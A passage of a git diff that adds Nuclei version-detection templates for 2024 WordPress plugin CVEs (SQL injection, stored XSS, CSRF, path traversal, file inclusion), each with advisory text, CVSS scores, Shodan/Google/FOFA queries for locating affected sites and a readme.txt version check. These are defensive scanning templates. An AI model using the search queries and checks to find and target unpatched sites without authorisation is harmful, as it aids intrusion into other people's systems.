CVE-2024-4902-1337a293cedaf997fd05c2b8ea71c553 + +info: + name: > + Tutor LMS – eLearning and online course solution <= 2.7.1 -Authenticated (Administrator+) SQL Injection + author: topscoder + severity: low + description: > + The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to time-based SQL Injection via the ‘course_id’ parameter in all versions up to, and including, 2.7.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with admin access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/f00e8169-3b8f-44a0-9af2-e81777a913f8?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2024-4902 + metadata: + fofa-query: "wp-content/plugins/tutor/" + google-query: inurl:"/wp-content/plugins/tutor/" + shodan-query: 'vuln:CVE-2024-4902' + tags: cve,wordpress,wp-plugin,tutor,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/tutor/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "tutor" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.7.1') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4942.yaml b/poc/cve/CVE-2024-4942.yaml new file mode 100644 index 0000000000..4d609ce20b --- /dev/null +++ b/poc/cve/CVE-2024-4942.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4942 + +info: + name: > + Custom Dash <= 1.0.2 - Authenticated (Administrator+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Custom Dash plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/13344366-feb0-4987-9543-222e3d35dab3?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 4.4 + cve-id: CVE-2024-4942 + metadata: + fofa-query: "wp-content/plugins/custom-dash/" + google-query: inurl:"/wp-content/plugins/custom-dash/" + shodan-query: 'vuln:CVE-2024-4942' + tags: cve,wordpress,wp-plugin,custom-dash,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/custom-dash/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "custom-dash" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.0.2') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4969.yaml b/poc/cve/CVE-2024-4969.yaml new file mode 100644 index 0000000000..b89fa07c52 --- /dev/null +++ b/poc/cve/CVE-2024-4969.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4969 + +info: + name: > + Widget Bundle <= 2.0.0 - Cross-Site Request Forgery to Widget Disable/Enable + author: topscoder + severity: medium + description: > + The Widget Bundle plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.0. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to enable and disable widgets via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/735d44ae-8072-48bb-a498-a0f130d1130b?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N + cvss-score: 4.3 + cve-id: CVE-2024-4969 + metadata: + fofa-query: "wp-content/plugins/wp-widget-bundle/" + google-query: inurl:"/wp-content/plugins/wp-widget-bundle/" + shodan-query: 'vuln:CVE-2024-4969' + tags: cve,wordpress,wp-plugin,wp-widget-bundle,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/wp-widget-bundle/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "wp-widget-bundle" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.0.0') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4970.yaml b/poc/cve/CVE-2024-4970.yaml new file mode 100644 index 0000000000..69a4db68a3 --- /dev/null +++ b/poc/cve/CVE-2024-4970.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4970 + +info: + name: > + Widget Bundle <= 2.0.0 - Authenticated (Admin+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Widget Bundle plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 2.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/fbba15aa-9d65-4cb8-867f-667af09ff826?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 4.4 + cve-id: CVE-2024-4970 + metadata: + fofa-query: "wp-content/plugins/wp-widget-bundle/" + google-query: inurl:"/wp-content/plugins/wp-widget-bundle/" + shodan-query: 'vuln:CVE-2024-4970' + tags: cve,wordpress,wp-plugin,wp-widget-bundle,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/wp-widget-bundle/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "wp-widget-bundle" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.0.0') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5001.yaml b/poc/cve/CVE-2024-5001.yaml new file mode 100644 index 0000000000..5d65c008d0 --- /dev/null +++ b/poc/cve/CVE-2024-5001.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5001 + +info: + name: > + Image Hover Effects for Elementor with Lightbox and Flipbox <= 3.0.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via _id, oxi_addons_f_title_tag, and content_description_tag Parameters + author: topscoder + severity: low + description: > + The Image Hover Effects for Elementor with Lightbox and Flipbox plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '_id', 'oxi_addons_f_title_tag', and 'content_description_tag' parameters in all versions up to, and including, 3.0.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/6c384f05-96dd-47bb-822d-16212527091a?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-5001 + metadata: + fofa-query: "wp-content/plugins/image-hover-effects-with-carousel/" + google-query: inurl:"/wp-content/plugins/image-hover-effects-with-carousel/" + shodan-query: 'vuln:CVE-2024-5001' + tags: cve,wordpress,wp-plugin,image-hover-effects-with-carousel,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/image-hover-effects-with-carousel/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "image-hover-effects-with-carousel" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 3.0.2') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5038.yaml b/poc/cve/CVE-2024-5038.yaml new file mode 100644 index 0000000000..166fe71aa9 --- /dev/null +++ b/poc/cve/CVE-2024-5038.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5038 + +info: + name: > + Colibri Page Builder <= 1.0.276 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode + author: topscoder + severity: low + description: > + The Colibri Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode(s) in all versions up to, and including, 1.0.276 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/08159865-1411-4a07-b5db-f4ba5bf2d633?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-5038 + metadata: + fofa-query: "wp-content/plugins/colibri-page-builder/" + google-query: inurl:"/wp-content/plugins/colibri-page-builder/" + shodan-query: 'vuln:CVE-2024-5038' + tags: cve,wordpress,wp-plugin,colibri-page-builder,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/colibri-page-builder/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "colibri-page-builder" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.0.276') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5141.yaml b/poc/cve/CVE-2024-5141.yaml new file mode 100644 index 0000000000..55a1c0d879 --- /dev/null +++ b/poc/cve/CVE-2024-5141.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5141 + +info: + name: > + Rotating Tweets (Twitter widget and shortcode) <= 1.9.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode + author: topscoder + severity: low + description: > + The Rotating Tweets (Twitter widget and shortcode) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's' 'rotatingtweets' in all versions up to, and including, 1.9.10 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/02cff893-4f41-4bb0-9fb0-344a3a8afa0b?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-5141 + metadata: + fofa-query: "wp-content/plugins/rotatingtweets/" + google-query: inurl:"/wp-content/plugins/rotatingtweets/" + shodan-query: 'vuln:CVE-2024-5141' + tags: cve,wordpress,wp-plugin,rotatingtweets,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/rotatingtweets/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "rotatingtweets" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.9.10') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5152.yaml b/poc/cve/CVE-2024-5152.yaml new file mode 100644 index 0000000000..55e9863edd --- /dev/null +++ b/poc/cve/CVE-2024-5152.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5152 + +info: + name: > + ElementsReady Addons for Elementor <= 6.1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The ElementsReady Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘_id’ parameter in all versions up to, and including, 6.1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/d2cffdc3-bd74-42ab-befd-8a396c5d990d?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-5152 + metadata: + fofa-query: "wp-content/plugins/element-ready-lite/" + google-query: inurl:"/wp-content/plugins/element-ready-lite/" + shodan-query: 'vuln:CVE-2024-5152' + tags: cve,wordpress,wp-plugin,element-ready-lite,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/element-ready-lite/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "element-ready-lite" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 6.1.0') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5153.yaml b/poc/cve/CVE-2024-5153.yaml new file mode 100644 index 0000000000..8b245e78eb --- /dev/null +++ b/poc/cve/CVE-2024-5153.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5153 + +info: + name: > + Startklar Elementor Addons <= 1.7.15 - Unauthenticated Path Traversal to Arbitrary Directory Deletion + author: topscoder + severity: critical + description: > + The Startklar Elementor Addons plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.7.15 via the 'dropzone_hash' parameter. This makes it possible for unauthenticated attackers to copy the contents of arbitrary files on the server, which can contain sensitive information, and to delete arbitrary directories, including the root WordPress directory. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/baa20290-9c01-4f8d-adeb-fbfb15b9d6a9?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H + cvss-score: 9.1 + cve-id: CVE-2024-5153 + metadata: + fofa-query: "wp-content/plugins/startklar-elmentor-forms-extwidgets/" + google-query: inurl:"/wp-content/plugins/startklar-elmentor-forms-extwidgets/" + shodan-query: 'vuln:CVE-2024-5153' + tags: cve,wordpress,wp-plugin,startklar-elmentor-forms-extwidgets,critical + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/startklar-elmentor-forms-extwidgets/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "startklar-elmentor-forms-extwidgets" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.7.15') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5161.yaml b/poc/cve/CVE-2024-5161.yaml new file mode 100644 index 0000000000..ab1b8abcea --- /dev/null +++ b/poc/cve/CVE-2024-5161.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5161 + +info: + name: > + Magical Addons For Elementor <= 1.1.39 - Authenticated (Contributor+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Magical Addons For Elementor ( Header Footer Builder, Free Elementor Widgets, Elementor Templates Library ) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘_id’ parameter in all versions up to, and including, 1.1.39 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/cb64952e-170e-47c5-87fd-d2ec60192b65?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-5161 + metadata: + fofa-query: "wp-content/plugins/magical-addons-for-elementor/" + google-query: inurl:"/wp-content/plugins/magical-addons-for-elementor/" + shodan-query: 'vuln:CVE-2024-5161' + tags: cve,wordpress,wp-plugin,magical-addons-for-elementor,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/magical-addons-for-elementor/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "magical-addons-for-elementor" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.1.39') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5162.yaml b/poc/cve/CVE-2024-5162.yaml new file mode 100644 index 0000000000..b7909dd838 --- /dev/null +++ b/poc/cve/CVE-2024-5162.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5162 + +info: + name: > + WordPress prettyPhoto <= 1.2.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via url Parameter + author: topscoder + severity: low + description: > + The WordPress prettyPhoto plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘url’ parameter in all versions up to, and including, 1.2.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/c581616d-c9e7-46f2-9c2f-5e082a13fd0b?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-5162 + metadata: + fofa-query: "wp-content/plugins/prettyphoto/" + google-query: inurl:"/wp-content/plugins/prettyphoto/" + shodan-query: 'vuln:CVE-2024-5162' + tags: cve,wordpress,wp-plugin,prettyphoto,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/prettyphoto/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "prettyphoto" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.2.3') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5179.yaml b/poc/cve/CVE-2024-5179.yaml new file mode 100644 index 0000000000..38eccccfb1 --- /dev/null +++ b/poc/cve/CVE-2024-5179.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5179 + +info: + name: > + Cowidgets – Elementor Addons <= 1.1.1 - Authenticated (Contributor+) Local File Inclusion + author: topscoder + severity: low + description: > + The Cowidgets – Elementor Addons plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.1.1 via the 'item_style' and 'style' parameters. This makes it possible for authenticated attackers, with Contributor-level access and above, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/ebd6acc9-b7df-4cf8-a211-1e39f3abcf79?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2024-5179 + metadata: + fofa-query: "wp-content/plugins/cowidgets-elementor-addons/" + google-query: inurl:"/wp-content/plugins/cowidgets-elementor-addons/" + shodan-query: 'vuln:CVE-2024-5179' + tags: cve,wordpress,wp-plugin,cowidgets-elementor-addons,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/cowidgets-elementor-addons/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "cowidgets-elementor-addons" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.1.1') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5188.yaml b/poc/cve/CVE-2024-5188.yaml new file mode 100644 index 0000000000..41065181be --- /dev/null +++ b/poc/cve/CVE-2024-5188.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5188 + +info: + name: > + Essential Addons for Elementor – Best Elementor Templates, Widgets, Kits & WooCommerce Builders <= 5.9.22 - Authenticated (Contributor+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Essential Addons for Elementor – Best Elementor Templates, Widgets, Kits & WooCommerce Builders plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'get_manual_calendar_events' function in all versions up to, and including, 5.9.22 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/5a1d5fd1-80b6-4d62-9837-59ee1e020373?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-5188 + metadata: + fofa-query: "wp-content/plugins/essential-addons-for-elementor-lite/" + google-query: inurl:"/wp-content/plugins/essential-addons-for-elementor-lite/" + shodan-query: 'vuln:CVE-2024-5188' + tags: cve,wordpress,wp-plugin,essential-addons-for-elementor-lite,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/essential-addons-for-elementor-lite/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "essential-addons-for-elementor-lite" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 5.9.22') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5221.yaml b/poc/cve/CVE-2024-5221.yaml new file mode 100644 index 0000000000..8ec4fde450 --- /dev/null +++ b/poc/cve/CVE-2024-5221.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5221 + +info: + name: > + Qi Blocks <= 1.2.9 - Authenticated (Author+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Qi Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's file uploader in all versions up to, and including, 1.2.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/bdf00861-e31e-485c-a562-12dba56af1c7?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-5221 + metadata: + fofa-query: "wp-content/plugins/qi-blocks/" + google-query: inurl:"/wp-content/plugins/qi-blocks/" + shodan-query: 'vuln:CVE-2024-5221' + tags: cve,wordpress,wp-plugin,qi-blocks,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/qi-blocks/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "qi-blocks" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.2.9') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5224.yaml b/poc/cve/CVE-2024-5224.yaml new file mode 100644 index 0000000000..1aa2beac2b --- /dev/null +++ b/poc/cve/CVE-2024-5224.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5224 + +info: + name: > + Easy Social Like Box – Popup – Sidebar Widget <= 4.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode + author: topscoder + severity: low + description: > + The Easy Social Like Box – Popup – Sidebar Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'cardoza_facebook_like_box' shortcode in all versions up to, and including, 4.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/bc22a8df-44be-477e-a3b6-67960bf442d3?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-5224 + metadata: + fofa-query: "wp-content/plugins/cardoza-facebook-like-box/" + google-query: inurl:"/wp-content/plugins/cardoza-facebook-like-box/" + shodan-query: 'vuln:CVE-2024-5224' + tags: cve,wordpress,wp-plugin,cardoza-facebook-like-box,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/cardoza-facebook-like-box/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "cardoza-facebook-like-box" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 4.0') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5259.yaml b/poc/cve/CVE-2024-5259.yaml new file mode 100644 index 0000000000..cc8b081c0f --- /dev/null +++ b/poc/cve/CVE-2024-5259.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5259 + +info: + name: > + MultiVendorX Marketplace – WooCommerce MultiVendor Marketplace Solution <= 4.1.11 - Authenticated (Contributor+) Stored Cross-Site Scripting via hover_animation Parameter + author: topscoder + severity: low + description: > + The MultiVendorX Marketplace – WooCommerce MultiVendor Marketplace Solution plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘hover_animation’ parameter in all versions up to, and including, 4.1.11 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/59a349f2-048d-49a5-92ea-c19f1d1cd45e?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-5259 + metadata: + fofa-query: "wp-content/plugins/dc-woocommerce-multi-vendor/" + google-query: inurl:"/wp-content/plugins/dc-woocommerce-multi-vendor/" + shodan-query: 'vuln:CVE-2024-5259' + tags: cve,wordpress,wp-plugin,dc-woocommerce-multi-vendor,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/dc-woocommerce-multi-vendor/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "dc-woocommerce-multi-vendor" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 4.1.11') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5324.yaml b/poc/cve/CVE-2024-5324.yaml new file mode 100644 index 0000000000..3ce17397cb --- /dev/null +++ b/poc/cve/CVE-2024-5324.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5324 + +info: + name: > + Login/Signup Popup ( 